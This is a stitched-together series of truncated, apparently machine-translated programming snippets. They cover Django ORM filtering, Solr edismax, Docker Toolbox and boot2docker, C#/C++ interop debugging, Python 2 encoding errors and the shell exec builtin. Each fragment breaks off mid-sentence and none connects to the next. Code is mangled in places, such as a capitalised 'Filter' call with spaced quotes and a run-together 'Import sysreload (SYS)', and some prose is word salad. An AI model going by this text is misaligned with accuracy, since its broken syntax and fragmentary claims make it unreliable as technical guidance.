Suppose that the primary key aid of table A is the foreign key of Table B, and a table has the property name, then you can write this by querying the elements of name ABC in table B:B.objects.all (). Filter (Aid__name = ' abc ')It's so easy to use ... There are other uses:When the condition is selected Queryset, filter indicates that =,exclude represents! =.Queryset.distinct () to repeat__exact exactly equals like ' AAA '__iexact precision equals ignoring case ilike ' AAA '__contains contains li

the number of hits too many ways. There is another way, is a palliative approach, it is easier to achieve, is to limit the maximum number of words after each word, that is, likeLaneGouBei LiXiaozhuangTen milesIncenseRestaurantMust hit 3 or more term, I think the correlation is greater, or there is a percentage to limit more than 80% hits, even if this record is good. This can be solved using SOLR's edismax.two solutions, as follows:One: Use Edismax, write in QName: Beijing xxxxx Hotel afterWrit

VirtualBox virtual machine app is still used to start boot2docker.Docker has dealt with the dependencies that have been made on boot2docker. Existing boot2docker are automatically migrated to the new toolbox, for example, as shown in.Kitematic, formerly a standalone component, provides an open-source Docker GUI that launches lite Linux images in VirtualBox. The product did not change as much as the Docker takeover, and Docker reduced the workflow disruption on its first basis.Docker may integra

Debugging a breakpoint to see in-memory data is the best method, because C # is on a managed platform, and C++dll is on an unmanaged platform. The format of the memory is different, so Microsoft has proposed the r

In Django, if the buffer type is used, the encoding format of buffer is the Utf-8 type. Using str () to convert to a string type is an exception.Exceptions will have the following hint: ' ASCII ' codec can ' t decode byte 0xe5This is due to the fact that STR is ASCII encoded by default in Python, and it is necessary to manually convert the STR encoding to UTF-8 by using the following codeImport sysreload (SYS) sys.setdefaultencoding ('UTF8')Using Pycharm to manually build Python language Django

The shell's built-in command exec does not start the new shell, but instead uses the command to be executed to replace the current shell process and to clean up the old process's environment, and the other commands after the EXEC command will no longer execute. So, if you are in a shell and execute exec LS then, when the current directory is listed, the shell exits itself because the shell process has been replaced by a process that simply executes the LS command, and the execution ends naturall
